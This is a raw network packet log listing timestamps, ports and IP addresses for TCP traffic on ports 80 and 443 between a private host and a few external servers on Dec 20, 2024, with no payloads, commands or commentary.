Dec 20, 2024 11:12:24.335452080 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.336479902 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.336518049 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.336532116 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.336564064 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.337573051 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.337620974 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.337671041 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.337722063 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.338758945 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.338812113 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.338865042 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.339818001 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.339982986 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.340034962 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.340993881 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.341043949 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.341104031 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.342117071 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.342169046 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.342226028 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.342331886 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.343240976 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.343386889 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.343439102 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.344355106 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.344505072 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.344556093 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.345500946 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.345551014 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.345630884 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.345927000 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.346642971 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.346690893 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.346755028 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.346806049 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.347767115 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.347810030 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.347871065 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.347918034 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.348942995 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.348992109 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.349009991 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.349056005 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.350056887 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.350107908 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.350141048 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.351188898 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.351236105 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.351300001 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.352313042 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.352358103 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.352483034 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.352531910 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.353465080 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.353579044 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.353630066 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.354593992 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.354891062 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.354943037 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.355719090 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.355767012 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.355832100 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.356862068 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.356913090 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.356978893 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.358015060 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.358025074 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.358129978 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.358184099 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.359162092 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.359215021 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.359263897 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.360284090 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.360337973 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.360338926 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.361438990 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.361490965 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.361572027 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.361901045 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.362555981 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.362651110 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.362706900 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.363667011 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.363723993 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.363778114 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.363825083 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.364763021 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.365369081 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.497744083 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.497785091 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.497848988 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.498188019 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.498403072 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.498459101 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.499361038 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.499414921 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.499778032 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.499888897 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.499941111 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.500871897 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.501013041 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.501065016 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.502013922 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.502165079 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.502216101 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.503185987 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.503238916 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.503254890 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.504329920 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.504390955 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.504471064 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.505500078 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.505534887 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.505556107 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.505574942 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.506587982 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.506680012 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.506731033 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.507749081 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.507916927 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.507966995 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.508856058 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.508907080 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.508990049 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.510037899 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.510091066 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.510170937 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.511101961 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.511156082 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.511193991 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.511243105 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.512223005 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.512376070 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.512427092 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.513381004 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.513494968 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.513546944 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.514498949 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.514637947 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.514683962 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.515682936 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.515739918 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.515744925 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.516794920 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.516849041 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.516875982 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.517899990 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.517954111 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.518032074 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.519067049 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.519114971 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.519226074 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.519274950 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.520210028 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.520262003 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.520338058 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.520385981 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.521384001 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.521428108 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.521473885 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.521519899 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.522458076 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.522599936 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.522649050 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.523626089 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.524497032 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.524549007 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.524770975 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.524820089 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.524877071 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.525947094 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.525998116 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.526465893 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.527041912 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.527096033 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.527143002 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.527187109 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.528172016 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.528290033 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.528340101 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.529279947 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.529431105 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.529494047 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.530399084 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.530510902 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.530561924 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.531557083 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.531608105 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.531634092 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.532713890 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.532766104 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.532867908 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.533624887 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.533839941 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.533894062 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.533919096 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.533945084 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.535144091 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.535186052 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.535341024 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.536138058 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.536201954 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.536251068 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.536961079 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.537306070 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.537341118 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.537393093 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.538393974 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.538554907 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.538610935 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.539539099 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.539573908 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.539594889 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.539618015 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.540631056 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.540776014 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.540827990 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.541764021 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.541906118 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.541965008 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.542922974 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.543072939 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.543123960 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.544019938 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.544073105 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.544126987 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.545211077 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.545262098 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.545332909 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.545903921 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.546324015 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.546430111 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.546480894 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.547457933 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.547563076 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.547617912 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.548584938 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.548631907 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.548688889 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.549688101 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.549741030 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.549792051 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.550014973 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.550847054 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.550966024 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.551013947 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.552062035 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.552299023 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.552351952 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.553103924 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.553157091 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.553211927 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.554264069 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.554279089 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.554306030 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.554356098 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.554404020 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.555372000 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.555418968 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.555499077 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.555546045 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.556564093 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.556597948 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.556616068 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.556638956 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.690181971 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.690222025 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.690246105 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.690270901 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.690557957 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.690623999 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.690666914 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.691679955 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.691724062 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.691812038 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.691854954 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.692850113 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.692898035 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.692941904 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.692989111 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.694046021 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.694169044 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.694231987 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.695095062 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.695223093 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.695276022 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.696260929 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.696320057 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.696389914 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.696558952 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.697346926 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.697393894 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.697438002 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.697561979 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.698492050 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.698539019 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.698561907 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.698606968 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.699615002 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.699690104 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.699767113 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.699809074 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:24.700783014 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:24.700830936 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:26.973927021 CET	49792	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:26.974200964 CET	49813	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:27.093763113 CET	80	49813	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:27.093875885 CET	49813	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:27.093885899 CET	80	49792	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:27.094079971 CET	49792	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:27.094183922 CET	49813	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:27.183589935 CET	49814	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:27.183677912 CET	443	49814	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:27.183792114 CET	49814	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:27.185189962 CET	49814	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:27.185276985 CET	443	49814	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:27.213852882 CET	80	49813	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:28.401345015 CET	443	49814	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:28.401442051 CET	49814	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:28.403131962 CET	49814	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:28.403177977 CET	443	49814	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:28.403465033 CET	443	49814	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:28.429666996 CET	80	49813	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:28.429766893 CET	49813	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:28.431379080 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:28.431754112 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:28.449588060 CET	49814	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:28.449589014 CET	49814	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:28.449753046 CET	443	49814	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:28.551397085 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:28.551459074 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:28.551484108 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:28.551512957 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:28.552212000 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:28.672028065 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:29.146856070 CET	443	49814	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:29.146934986 CET	443	49814	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:29.147218943 CET	49814	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:29.147219896 CET	49814	443	192.168.2.4	172.67.197.170
